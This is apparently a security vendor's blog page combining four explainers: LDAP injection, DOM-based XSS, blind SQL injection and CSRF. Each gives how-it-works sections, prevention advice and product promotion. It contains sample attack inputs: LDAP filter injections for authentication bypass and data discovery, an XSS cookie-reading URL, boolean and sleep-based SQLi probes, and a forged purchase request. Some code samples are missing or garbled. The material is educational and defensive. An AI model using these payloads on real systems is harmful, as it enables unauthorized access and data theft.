Want to see Bright in action? Get a free account here – https://app.brightsecurdev.wpenginepowered.com/signup

Want to learn more about CSRF or XSS?

Have a look at these articles:

Complete Guide to LDAP Injection: Types, Examples, and Prevention

What is LDAP Injection?

Many companies use LDAP services. LDAP serves as a repository for user authentication, and also enables a single sign-on (SSO) environment.  LDAP is most commonly used for privilege management, resource management, and access control.

LDAP Injection attacks are similar to SQL Injection attacks. These attacks abuse the parameters used in an LDAP query. In most cases, the application does not filter parameters correctly. This could lead to a vulnerable environment in which the hacker can inject malicious code.

LDAP exploits can result in exposure and theft of sensitive data. Advanced LDAP Injection techniques can also execute arbitrary commands. This lets them obtain unauthorized permissions and also alter LDAP tree information.

Environments that are most vulnerable to LDAP Injection attacks include ADAM and OpenLDAP.

In this article, you will learn:

How Do LDAP Injection Attacks Work?

Clients query an LDAP server by sending a request for a directory entry that matches a specific filter. If an entry matching the LDAP search filter is found, the server returns the requested information. 

Search filters used in LDAP queries follow the syntax specified in RFC 4515. Filters are constructed based on one or more LDAP attributes specified as key/value pairs in parentheses. Filters can be combined using logical and comparison operators and can contain wildcards.

Here are some examples:

  • (cn=David*) matches anything with a common name beginning with the string David (the asterisk matches any character).
  • (!(cn=David*)) matches anything where the common name does not start with the string David.
  • (&(cn=D*)(cn=*Smith)) uses the AND logical operator, represented by the & symbol. Matches entries that start with the letter D and end with Smith.
  • (|(cn=David*)(cn=Elisa*)) uses the OR logical operator, represented by the pipe symbol. Matches entries whose common name starts with one of the strings Dave or Elisa.

Similar to SQL injection and related code injection attacks, an LDAP injection vulnerability results when an application injects unfiltered user input directly into an LDAP statement. An attacker can use LDAP filter syntax to pass a string value, which will cause the LDAP server to execute various queries and other LDAP statements. Typically the injected command will exploit misconfiguration or inappropriate permissions set on the LDAP server. 

Types of LDAP Injection Attacks

Access Control Bypass

All login pages have two text box fields. One for the username, one for the password. The user inputs are USER(Uname) and PASSWORD(Pwd). A client supplies the user/password pair. To confirm the existence of this pair, LDAP constructs search filters and sends them to the LDAP server.

(&(USER=Uname)(PASSWORD=Pwd))

An attacker can enter a valid username (john90 for example) while also injecting the correct sequence after the name. This way they successfully bypass the password check. By knowing the username any string can be introduced as the Pwd value. Then the following query gets sent to the server:

(&(USER=john90)(&))(PASSWORD=Pwd))

The LDAP server processes only the first filter. The query processes only the (&(USER=john90)(&) query. Since this query is always correct, the attacker enters the system without the proper password.

Elevation of Privileges

Some queries list all documents and they’re visible to users that have a low-security level. As an example /Information/Reports, /Information/UpcomingProjects, etc. files in the directory. The “Information”  part is the user entry for the first parameter. All these documents have a “Low” security level. The “Low” part is the value for the second parameter. This also allows the hacker to access high-security levels. In order to do that the hacker must use an injection that looks something like this:

“Information)(security_level=*))(&(directory=documents”

This injection results in this filter:

(&(directory=Information)(security_level=*))(&(directory=Information)(security_level=low))

If you’ve been paying attention you know the LDAP processes the first filter. The second filter gets ignored. The query that gets processed is (&(directory=Information)security level=*)). The (&(directory=Information)(security level=low)) is ignored completely. That’s how hackers see a list of documents that can usually only be accessed by users with all security levels. Even though the hacker doesn’t actually have privileges to see this information.

Information Disclosure

Some resource explorers let a user know exactly which resource is available in the system. For example, a website dedicated to selling clothing. The user can look for a specific shirt or pants and see if they are available for sale. In this situation OR LDAP Injections are used:

(|(type=Resource1)(type=Resource2))

Both Resource1 and Resource2 show the kinds of resources in the system. Resource1=Jeans  and Resource2=T-Shirts show all the jeans and T-Shirts that are available for purchase in the system. How do hackers exploit this? By injecting (uid=*) into Resource1=Jeans. This query then gets sent to the server:

(|(type=Jeans)(uid=*))(type=T-Shirts))

The LDAP server then shows all the jeans and user objects.

LDAP Injection Examples Using Logical Operators

An LDAP filter can be used to make a query that’s missing a logic operator (OR and AND). An injection like:

“value)(injected_filter” 

Results in two filters (the second gets ignored while the first one gets executed in OpenLDAP implementations):

(attribute=value)(injected_filter)

ADAM LDAP doesn’t allow queries with two filters. This renders this injection useless. Then we have the & and | standalone symbols. Making queries with them looks something like this:

(&(attribute=value)(second_filter))

(|(attribute=value)(second_filter))

Filters that have the OR or AND  logic operators can make queries in which this injection:

“value)(injected_filter” 

Results in this filter:

(&(attribute=value)(injected_filter)) (second_filter)).

As you can see, this filter isn’t even syntactically correct. Yet, OpenLDAP will process it regardless. It will go from left to right and ignore all characters after the first filter closes. What does that entail? Certain LDAP Client components ignore the second filter. The first complete one is sent to ADAM and OpenLDAP. That’s how injections bypass security. 

In cases where applications have a framework that checks the filter, it needs to be correct. An example of a synthetically correct injection looks something like:

“value)(injected_filter))(&(1=0”

This shows two different filters where the second one gets ignored:

(&(attribute=value)(injected_filter))(&1=0) (second_filter)).

Since certain LDAP Servers ignore the second filter, some components don’t allow LDAP queries with two filters. Attackers then create special injections to obtain an LDAP query with a single filter. Now an injection like:

“value)(injected_filter”

Results in this filter:

(&(attribute=value)(injected_filter))(second_filter)).

How do attackers test an application to see if it’s vulnerable to code injections? They send a query to the server that generates an invalid input. If a server returns an error message, it means the server executed his query. Meaning code injection techniques are possible. Read more to find out about AND and OR injection environments.

AND LDAP Injection

In this case, the application constructs a query with the “&” operator. This together with one or more parameters that are introduced by the user is used to search in the LDAP directory.

(&(parameter1=value1)(parameter2=value2))

The search uses value1 and value2 as values that let the search in the LDAP directory happen. Hackers can maintain a correct filter construction while also injecting their malicious code. This is how they abuse the query to pursue their own objectives.

OR LDAP Injection

There are cases where the application makes a normal query with the (|) operator. Together with one or more parameters that the user introduces. An example looks something like this:

(|(parameter=value1)(parameter2=value2))

As before, value1 and value2 are used for the search.

BLIND LDAP Injections

Hackers can deduce a lot of things just from a server’s response. The application itself doesn’t show any error messages. Yet, the code that’s injected into the LDAP filter will generate a valid response or an error. A true result or a false result. Attackers exploit this behavior to obtain answers to true or false questions from the server. We call these techniques Blind Attacks. Even though blind LDAP Injection attacks aren’t as fast as classic ones, they are easy to implement. Why? Because they work on binary logic. Hackers use blind LDAP Injections to obtain sensitive information from the LDAP Directory.

AND Blind LDAP Injection

Imagine an online shop that can list all Puma shirts from an LDAP directory. But the error messages are not returned. This LDAP search filter gets sent:

(&(objectClass=Shirt)(type=Puma*))

Any available Puma shirts are shown to the user as icons. If there are no Puma shirts available, the user won’t see any icons. This is where Blind LDAP Injection comes into play. “*)objectClass=*))(&(objectClass=void” is injected and now the application constructs an LDAP query that looks like:

(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Puma*))

The server process only the (&(objectClass=*)(objectClass=*)) part of the LDAP filter. Now the shirt icon shows to the client. How so? The objectClass=* filter always returns an object. An icon showing means the response is true. Otherwise the response is false. The hackers now have the option of using blind injection techniques in many ways. An example of an injection:

(&(objectClass=*)(objectClass=users))(&(objectClass=foo)(type=Puma*))

(&(objectClass=*)(objectClass=Resources))(&(objectClass=foo)(type=Puma*))

Different objectClass values can be deduced with the help of these injections. If even a single shirt icon is shown, the objectClass value exists. Otherwise, the objectClass doesn’t exist. A hacker can obtain all sorts of information by using TRUE/FALSE questions via Blind LDAP injections.

OR Blind LDAP Injection

Injection in an OR environment looks like this:

(|(objectClass=void)(objectClass=void))(&(objectClass=void)(type=Puma*))

This LDAP query doesn’t obtain any objects from the LDAP directory service. The shirt icon doesn’t get shown to the client, making it a FALSE response. If an icon is shown it is a TRUE response. In order to gather information the hacker will inject an LDAP filter like this one:

(|(objectClass=void)(objectClass=users))(&(objectClass=void)(type=Puma*))

(|(objectClass=void)(objectClass=Resources))(&(objectClass=void)(type=Puma*))

It’s the same thing as with the AND Blind Injection. Keep reading to see how you can protect yourself against LDAP vulnerabilities!

How to Prevent LDAP Vulnerabilities

Unfortunately, firewalls and intrusion detection mechanisms will not help here as all of these attacks occur in the application layer. Your best option is to use minimum exposure points and minimum privileges principles. 

Sanitize Inputs and Check Variables

The most effective way of preventing LDAP Injection attacks is to sanitize and check variables. As variables are the building block of LDAP filters, hackers use special characters in parameters to create malicious injections. AND “&”, OR “|”, NOT “!”, =, >=, <=, ~= are all operators that need to be filtered at the application layer to ensure they’re not used in Injection attacks. 

All values which make the LDAP filter should be checked against a list of valid values in the Application Layer before the LDAP receives the query.

Don’t Construct Filters by Concatenating Strings

Avoid creating LDAP search filters by concatenating strings, if the string contains a user input. Instead, you should create the filter programmatically using the functionality provided by the LDAP library.

For example, in the Java UnboundID LDAP SDK, use this code to concatenate two strings provided by the user using an AND operator:

Filter filter = Filter.createANDFilter(
     Filter.createEqualityFilter("cn", userInput),
     Filter.createEqualityFilter("mail", userInput));

Creating an LDAP filter programmatically prevents malicious input from generating filter types that are different than expected. If the LDAP library you’re using doesn’t provide a way to programmatically create search filters, it is strongly recommended to replace it. 

Use Access Control on the LDAP Server

To add another layer of protection, follow the principle of least privilege, and make sure that each account only has permission to perform operations needed for the user’s role.

For example, if you want your application to be able to search for items by looking for uid and mail attributes, only give the account permission to post searches for these attributes. Accounts should be granted read access to properties they need to retrieve but not modify. Before granting write access, make sure the application really needs to modify those properties.

If an application needs to process tasks on behalf of other users, you can use a proxied authentication request to ensure these tasks are handled according to the other user’s access control rights.

Restrict User Requests in Other Ways

Search filters are just one of the elements of an LDAP search request. You can work with other elements to reduce the risk of a malicious user request:

  • Set the base DN and scope of the LDAP server to match as closely as possible to the type of search being performed. For example, if you want to search for users, and they are in a specific branch of the directory, restrict the search to that branch.
  • Use a size limit to prevent the server from returning more items than expected. For example, when searching for individual user entries, if the search returns more than one entry, this will result in an error.
  • Use timeouts to make sure your server doesn’t spend too much time processing searches. For most searches, a timeout of 1-2 seconds is sufficient. Set a timeout that is appropriate given your current search behavior and server performance, and you can avoid malicious searches querying large amounts of data, which may take more time.

Dynamic Application Security Testing

Dynamic Application Security Testing (DAST) can be used to automatically detect LDAP injection vulnerabilities. 

Bright enables organizations to automate black-box testing for a long list of vulnerabilities for both applications and APIs. The various types of LDAP injection represent one of the vulnerabilities DAST solutions test for. As noted above it is crucial to detect LDAP vulnerabilities in the development process so they can be remediated early in the SDLC and not leave the organization exposed in production. 

Bright’s ability to be run in an automated way as part of CI/CD ensures developers can detect these vulnerabilities early and remediate them before there is risk for the organization. 

Learn more about preventing LDAP injection and other attacks with Bright

How DOM Based XSS Attacks work

What is DOM Based XSS?

According to various research and studies, up to 50% of websites are vulnerable to DOM Based XSS vulnerabilities. Security researchers detected DOM XSS issues in high profile internet companies like Google, Yahoo, and Amazon.

The Document Object Model is a programming interface that gives developers the ability to access the document (web page) and manipulate it by executing operations, therefore this interface defines the structure of documents by connecting the scripting language to the actual webpage.

DOM-based XSS, also known as Type-0 XSS, is an XSS attack in which the attack payload is executed by altering the DOM in the victim’s browser. This causes the client to run code, without the user’s knowledge or consent. The page itself (i.e. the HTTP response) will not change, but a malicious change in the DOM environment will cause the client code contained in the page to execute in a different way.

This differs from reflected or stored XSS attacks, which place the attack payload into the response page due to server-side vulnerabilities. DOM XSS is a vulnerability on the client side.

In this article, you will learn:

DOM XSS Example #1: Vulnerable Content

As an example the following HTML page (vulnerable.site/welcome.html) contains this content:


Welcome!
Hi



Welcome

Normally, this HTML page would be used for welcoming the user, e.g.:

http://www.vulnerable.site/welcome.html?name=Joe

However, a request such as the one below would result in an XSS condition:

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

DOM XSS Example #2: Vulnerable User Form

Let’s say we have a code that creates a form. This form lets a user select a timezone. The query string also has a default timezone. It’s defined by the defaulttimezone parameter. The code would look something like this:

Select your Time Zone:

The http://www.some.site/page.html?default=CST URL then invokes the page. Hackers can now send a URL that looks like this:

http://www.example.site/page.html?default=

to launch a DOM-based XSS attack. When an unsuspecting user clicks this link the browser sends a request to www.example.site for:
/page.html?default= 

The server responds with a page that contains the malicious Javascript code. The browser now creates a DOM object for that page and the document.location object will contain this string:

http://www.example.site/page.html?default=

Where is the problem?

The original Javascript code on this page won’t expect the default parameter to have any HTML markup. Because of this, it will echo it into the DOM during runtime. Any browser will render the resulting page and end up executing the malicious script:(alert(document.cookie))

Keep in mind that the server’s HTTP response won’t contain the attacker’s payload. The DOM XSS payload will reveal itself in the client-side script at runtime. It happens when the flawed script opens the DOM variable (document.location) while assuming that it isn’t malicious.

How Do DOM XSS Attacks Work?

DOM XSS attacks typically follow this process:

  1. The victim’s browser receives a link, sends an HTTP request to www.vulnerable.site, and receives a static HTML page.
  2. The victim’s browser then starts parsing this HTML into DOM. The DOM contains an object called document, which contains a property called URL, and this property is populated with the URL of the current page, as part of DOM creation.
  3. When the parser processes the Javascript code, it executes it and it modifies the raw HTML of the page. In this case, the code references document.URL, and so, a part of this string is embedded at parsing time in the HTML.
  4. The string is then parsed and the Javascript code is executed in the context of the same page, resulting in XSS.

The logic behind DOM XSS is that an input from the user – source – goes to an execution point – sink. In the previous examples, our source was document.write and the sink was alert(document.cookie)

After the malicious code is executed by the website, attackers can steal the cookies from the user’s browser or change the behavior of the page on the web application.

How Do Attackers Exploit DOM XSS Vulnerabilities?

Let’s dive a bit deeper to understand the possible sources, or entry points, attackers can use to perform DOM XSS attacks, and the “sinks” or DOM objects in which they can execute malicious code.

Source

A source is a JavaScript property that contains data that an attacker could potentially control:

document.URL
document.referrer
location
location.href
location.search
location.hash
location.pathname

Sink

A sink is a DOM object or function that allows JavaScript code execution or HTML rendering.

eval
setTimeout
setInterval
document.write
element.innerHTML

Any application is vulnerable to DOM-based cross-site scripting if there is an executable path via which data can develop from source to sink.

Different sources and sinks have various properties and behaviors that can impact exploitability, and determine what methods are used. Additionally, the application’s scripts might execute validation or other processing of data that must be accommodated when aiming to exploit a vulnerability.

In reality, the attacker would encode the URL payload so the script is not visible. Some browsers, for example, Mozzila may automatically encode the < and > characters in the document.URL when the URL is not directly typed in the address bar, and therefore it is not vulnerable to the attack shown in the example above. 

Embedding a script directly in the HTML is just one attack access point, other scenarios do not require these characters, nor embedding the code into the URL directly. Therefore, browsers in general are not entirely immune to DOM XSS either.

How DOM based XSS attacks work

What is the Difference Between Standard XSS and DOM-Based XSS?

Let’s review the key differences between classic reflected or stored XSS and DOM-based XSS.

Root Cause 

The root of both the classic XSS and a DOM-based vulnerability is a vulnerability in the source code.

Premises

  • For classic XSS, the premise is the malicious embedding of client-side data by the server in the outbound HTML pages. 
  • For DOM-based XSS, it’s the malicious referencing and use of DOM objects in the client-side.

The Page Type

  • Classic XSS attacks target dynamic page types. 
  • DOM-based XSS attacks can target both static and dynamic page types.

What Can Detect Them

Logs and intrusion detection systems can detect classic XSS attacks. DOM-based XSS can remain unnoticed server-side if the hacker uses evading techniques.

How to Identify Vulnerabilities

For both classic and DOM-based XSS attacks you use vulnerability detection tools that can perform automatic penetration testing. The code also needs to be reviewed. The only difference is that for classic XSS you do it server-side, while for DOM XSS you do it client-side.

DOM XSS Attacks Prevention

You cannot detect DOM XSS attacks from the server-side. The malicious payload doesn’t even reach the server in most cases. Due to this, it can’t be sanitized in the server-side code. The root of the issue is in client-side code, the code of the page. 

You’re free to utilize any prevention techniques for DOM XSS that you can use for standard XSS attacks. There’s only one thing you need to pay attention to. For DOM XSS attacks you need to review and sanitize the client-side code instead of the server-side code.

There are three main ways to defend against DOM XSS:

  1. Don’t use client data for sensitive actions – refrain from using data that was received from the client for any kind of sensitive actions on the client side, like redirection or rewriting.
  2. Sanitize client-side code – do this by inspecting references to DOM objects, especially those that pose a threat like referrer, URL, location, and so on. This is important in cases where the DOM can be modified.
  3. Use Content Security Policy (CSP) – this is a Mozilla capability which is specially designed to prevent XSS and similar attacks. CSP restricts the domains from which the browser will accept scripts for execution. Scripts originating from other domains will not be executed.
  4. Automated detection of DOM XSS vulnerabilities – you can use Bright, an AI-powered application security testing solution that can identify DOM XSS vulnerabilities with zero false positives. Scan your web applications regularly to detect new vulnerabilities and resolve them. Learn more about Bright

Blind SQL Injection: How it Works, Examples and Prevention

What is Blind SQL Injection?

Blind SQL injections (blind SQLi) occur when a web application is exposed to SQL injection, but its HTTP responses don’t contain the results of the SQL query or any details of database errors. This unlike a regular SQL injection, in which the database error or output of the malicious SQL query is shown in the web application and visible to the attacker.

In a Blind SQL Injection, attackers never see the output of the SQL queries. Still, they may see if the application or web page loads normally, and discern how long the SQL server needs to process the SQL query that an attacker passed in the user input.

Exploiting Blind SQL Injections is more complex and more time consuming for the attacker, and the attacker cannot use common SQLi techniques like UNION, sub query injection or XPATH. 

However, the implications and consequences for the security are similar. When an attacker executes a successful malicious query, they take control over the database server. This leads to data theft (e.g., credit card numbers) and may enable a complete takeover of the web server operating system using privilege escalation.

In this article, you will learn:

Content-Based Blind SQL Injection Attacks

In this type of blind SQLi, an attacker performs various SQL queries that claim the database TRUE or FALSE responses. Then the attacker observes differences between TRUE and FALSE statements.

Below is a blind SQL injection example using an online webshop, which displays items for sale. The following link displays details about the item with ID 14,  that is retrieved from a database.

http://www.webshop.local/item.php?id=14

The SQL query used to get this request is:

SELECT columnName, columnName2 FROM table_name WHERE id = 14

The attacker inserts the following blind SQL injection payload:

http://www.webshop.local/item.php?id=14 and 1=2

Now, the SQL query looks like:

SELECT columnName2 FROM tableName WHERE ID = 14 and 1=2SELECT name, description, price FROM StoreTable WHERE ID = 14 and 1=2

This results in the query returning FALSE with no items displayed in the list. The attacker then proceeds to modify the request to:

http://www.webshop.local/item.php?id=14 and 1=1

Now, the SQL query looks like:

SELECT columnName, columnName2 FROM tableName WHERE ID = 14 and 1=1SELECT

The database will return TRUE, and the details of the item with ID 14 are displayed. This is an indication that this webpage is vulnerable.

Related content: Read our guide to sql injection attack.

Time-Based Blind SQL Injection

In this case, the attacker performs a database time-intensive operation.

If the website does not return an immediate response, it indicates a vulnerability to blind SQL injection. The most popular time-intensive operation is a sleep operation.

Based on the example above, the attacker would benchmark the web server response time for a regular SQL query, and then would issue the request below:

http://www.webshop.local/item.php?id=14 and if(1=1, sleep(15), false)

The website is vulnerable if the response is delayed by 15 seconds.

Learn more in our detailed guide to error based sql injection.

Prevention of Blind SQL Injection

In most cases when a developer attempts to protect the website from classic SQL Injection poorly, the result is leaving space for blind injections. Meaning if you turn off error reporting, a classic SQL Injection can become a Blind SQL Injection vulnerability.

How can you protect yourself from Blind SQL Injections:

Use Secure Coding Practices

Be sure to use secure coding practices, independent of the programming language. All standard web development platforms (including PHP, ASP.NET, Java, and but also Python or Ruby) have mechanisms for avoiding SQL Injections, including Blind SQL Injections. Try to avoid dynamic SQL at all costs. 

The best option is to use prepared queries, also known as parameterized statements. Also, you can use stored procedures that most SQL databases support (PostgreSQL, Oracle, MySQL, MS SQL Server). Additionally, escaping or filtering special characters (such as the single quote which is used for classic SQL Injections) for all user data inputs.

Learn more in our detailed guide to sql injection test.

Use Automated Testing Solutions

Bright’s solutions can detect both SQL Injection and Blind SQL injection vulnerabilities. Automatic regular scans will identify any new vulnerabilities which may not have been prevented or identified as noted above, or they may have occurred with new releases. 

Fully and seamlessly integrate application security testing automation into the SDLC, and empower your developers and QA to detect, prioritize and remediate security issues early, without slowing down DevOps pipeline.

Learn more about Bright

CSRF Attacks: Real Life Attacks and Code Walkthrough

What is CSRF Attack?

Cross-Site Request Forgery (CSRF) attacks execute unauthorized actions on web applications, via an authenticated end-user’s connection. Threat actors typically use social engineering schemes to trick users into executing these attacks. 

For example, a user might receive an email or a text message with a link, which deploys malware or injects malicious code into a web page. Once the user clicks the link, attackers use the malware or injected code to send requests to the web application on the user’s behalf.

A CSRF attack is limited to the permissions of the targeted end user. An end user with limited permissions can be forced into changing email addresses, or transferring funds, while an admin account can be forced to compromise an entire web application.

This article focuses on the anatomy of CSRF attacks. To learn more, including how to prevent attacks, see our complete guide to CSRF.

In this article, you will learn:

Real World CSRF Attack Examples

The first CSRF vulnerabilities were reported in 2001. Because CSRF is carried out from the attacker’s IP address, it often leaves no forensic evidence in a website’s logs. For this reason there are a few reported incidents of CSRF, although the real number of attacks is much larger.

Here are a few examples of notable CSRF attacks.

  • TikTok—in 2020, ByteDance received reports of a vulnerability that allowed attackers to send messages containing malware to Tiktok users. After deployment of the malware, the attackers could perform CSRF or cross-site scripting (XSS) attacks, causing other user accounts to submit requests on their behalf to the TikTok application. TikTok patched the vulnerability within three weeks.
  • McAfee—in 2014, Check Point researchers discovered a CSRF vulnerability in the User Management module of an enterprise security product, McAfee Network Security Manager. The attack allowed malicious users to modify other user accounts. The vulnerability was patched in version 8.1.7.3.
  • YouTube—in 2008, Princeton researchers discovered a CSRF vulnerability on YouTube, which allowed attackers to perform nearly all actions on behalf of any user—including adding videos to favorites, modify friend/family lists, send messages to a user’s contacts, and flagging inappropriate content. The vulnerability was immediately fixed.
  • ING Direct—in 2008, ING Direct, the banking website of a Dutch-owned multinational banking group, had a CSRF vulnerability that allowed attackers to transfer money from users’ accounts, even though users were authenticated with SSL. The website did not have any protection against CSRF attacks, and the process of transferring funds was easy for attackers to see and replicate. 

How Does a CSRF Attack Work?

Browsers can automatically cache or store user website credentials, including information about session cookies, IP addresses, basic authentication credentials, and more. The purpose of this mechanism is to allow users to continuously access web applications without having to authenticate at every step. 

Once a user is authenticated, a website vulnerable to CSRF cannot distinguish between a legitimate user request and a forged one.

Most CSRF attacks trick users into clicking a malicious link. The link is often delivered via emails and chat messages using social engineering techniques. 

The link may include malicious JavaScript or HTML code, which contains a request. Once a user clicks on the link, the code requests a specific task. If the attack is successful, the browser executes the task, letting the attacker perform unauthorized actions using the user’s session. 

In addition to tricking users, threat actors can also directly store CSRF flaws on a vulnerable site. This is a much larger risk because it allows the attacker to control multiple user sessions, including administrator accounts, without having to trick each user into performing an action. 

Attackers create CSRF attacks by either storing IFRAME or IMG tags in HTML fields or by launching cross-site scripting (XSS) attacks. 

Related content: Read our guide to csrf token.

Cross-Site Request Forgery Attacks Code Example

To illustrate a CSRF attack, take an eCommerce website, examplebuy.com, that uses GET requests to accept purchases from customers. We’ll show how attackers can use CSRF to purchase products using other user’s accounts.

1. Attacker observes URL request format

The attacker observes that purchase requests on the website are in this format. 

GET
https://examplebuy.com/shop/purchase?productid=3441&amount=200&address=33&20Park%20Drive%20NY%20NY HTTP/1.1

The request assumes that the user has an open session with the website. It uses an address ID to reference an address defined by the legitimate user.

2. Attacker crafts a forged request URL

The attacker now creates a forged URL that will purchase a product with a high purchase price, using another user’s account.

GET
https://examplebuy.com/shop/purchase?productid=5776&amount=2000&address=45%20Main%20Street%20NJ%20NY HTTP/1.1

The attacker manipulates three parameters in the request—changing the product to a product they want to buy, changing the amount, and using their own address.

3. Attacker hides the URL in an image

There are a number of ways to get the user to load the forged request URL. A common tactic is to hide the URL in an image tag, and embed it in an email sent to the victim, or a website they will visit. The image tag would look like this:

4. Attacker uses social engineering to get the user to load the image

The attacker sends a phishing email to the victim, which either directly includes the image, or includes a link to a web page that embeds the malicious image tag. The URL is loaded on the user’s device.

5. Ecommerce site receives the forged request

Assuming that the user has an active session with the ecommerce site, when the URL is loaded, the website receives the forged purchase request. The website cannot identify that the request was not made directly by the legitimate user. It obeys the request and sends the goods to the attacker, billing the legitimate user’s account. 

To learn how to prevent CSRF attacks, see our complete guide to CSRF

Preventing CSRF Attacks with Bright

Bright helps automate the detection and remediation of many vulnerabilities including CSRF, early in the development process, across web applications and APIs. 

By shifting DAST scans left, and integrating them into the SDLC, developers and application security professionals can detect vulnerabilities early, and remediate them before they appear in production. Bright completes scans in minutes and achieves zero false positives, by automatically validating every vulnerability. This allows developers to adopt the solution and use it throughout the development lifecycle. 

Scan any web app, or REST, SOAP and GraphQL APIs to prevent CSRF vulnerabilities – try Bright free.